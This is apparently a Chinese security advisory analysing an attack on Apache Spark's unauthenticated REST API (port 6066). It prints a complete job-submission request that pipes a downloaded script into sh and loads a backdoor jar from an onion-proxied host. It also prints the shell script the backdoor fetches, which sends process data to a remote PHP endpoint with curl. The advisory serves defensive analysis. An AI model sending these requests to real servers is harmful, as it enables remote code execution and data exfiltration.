一、漏洞详情说明

时间：2022-03-23 15:03:02 | 来源：行业动态

时间：2022-03-23 15:03:02 来源：行业动态

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎，是UC Berkeley AMP lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架。为了让使用者能够方便的控制系统进行计算和查看任务结果，Spark也提供了 WEB UI图形化界面和相应的 REST API来方便用户操作。

Spark作为大数据时代的计算引擎，一旦被攻破，企业的核心数据资产、计算能力、用户敏感数据都将被攻击者窃取；更进一步的，由于Spark自身的分布式特性，一个攻击点的攻破可能导致整个集群的沦陷。Spark权限设置不当，可能导致攻击者无需认证即可通过该 REST API来操作Spark创建任务、删除任务、查看任务结果等，从而最终获得执行任意指令的能力。

我们还原了攻击者的攻击步骤：

1. 攻击者通过web扫描的方式发现了一台Spark webui服务

2. 构造攻击指令，并通过6066端口发送到该服务器的REST API

POST /v1/submissions/create

host:xxxx.xxx.xx:6066

{ "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }

该攻击payload指示服务器远程下载https://xxxxxxxx.onion.plus/SimpleApp.jar ，并执行攻击者指定的任意方法，该攻击者还通过洋葱网络来隐藏自己的相关信息。

3.对该 jar 包进行逆向分析，该 jar 包即是一个简单的执行命令的后门，

执行 jar 包时，Spark服务器将会从洋葱网络中下载一段shell脚本并执行。



4.脚本内容如下：

#!/bin/bash

ps ax --sort=-pcpu /tmp/tmp.txt

curl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.php

rm -rf /tmp/tmp.txt

该脚本只是简单的将性能信息打印并回传，暂未进行进一步的攻击。